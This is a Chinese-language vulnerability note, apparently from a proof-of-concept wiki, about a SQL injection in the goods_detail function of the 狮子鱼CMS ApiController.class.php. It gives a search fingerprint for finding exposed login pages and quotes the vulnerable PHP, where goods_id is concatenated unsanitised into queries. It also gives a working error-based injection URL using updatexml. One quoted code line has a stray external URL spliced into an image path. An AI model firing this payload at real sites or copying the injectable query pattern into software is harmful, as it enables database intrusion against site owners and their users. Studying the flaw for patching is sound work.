跳转至

狮子鱼CMS ApiController.class.php SQL注入漏洞

漏洞描述

狮子鱼CMS ApiController.class.php 参数过滤存在不严谨，导致SQL注入漏洞

漏洞影响

狮子鱼CMS

网络测绘

"/seller.php?s=/Public/login"

漏洞复现

登录页面如下

img

存在漏洞的文件为 ApiController.class.php , 关键位置为

public function goods_detail()
    {
        $goods_id = I('get.goods_id');
        //gallery =>img_url
        //goods goods.goods_desc  goods_name group_price  market_price  sell_count group_number 

        $sql="select g.*,gd.description,gd.summary,gd.tag from ".
        C('DB_PREFIX')."goods g,".C('DB_PREFIX')."goods_description gd where g.goods_id=gd.goods_id and g.goods_id=".$goods_id;

        $goods_arr=M()->query($sql);

        $qian=array("\r\n");
        $hou=array("<br/>");
        $goods_arr[0]['summary'] = str_replace($qian,$hou,$goods_arr[0]['summary']); 

        $sql="select image from ".C('DB_PREFIX')."goods_image where goods_id=".$goods_id;
        $goods_image=M()->query($sql);

        $gallery = array();
        $default_image = '';
        foreach($goods_image as $val)
        {
            $val['img_url'] = str_replace('http','https',C('SITE_URL')).'/Uploads/ http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/'.$val['image'];

            if(empty($default_image))
            {
                $default_image = str_replace('http','https',C('SITE_URL')).resize($val['image'], C('goods_thumb_width'), C('goods_thumb_height'));
            }

            $gallery[] = array('img_url' => $val['img_url']); 
        }

        $goods = $goods_arr[0];

img

漏洞测试为

https://xxx.xxx.xx.xxx/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5(1),0x7e),1)

img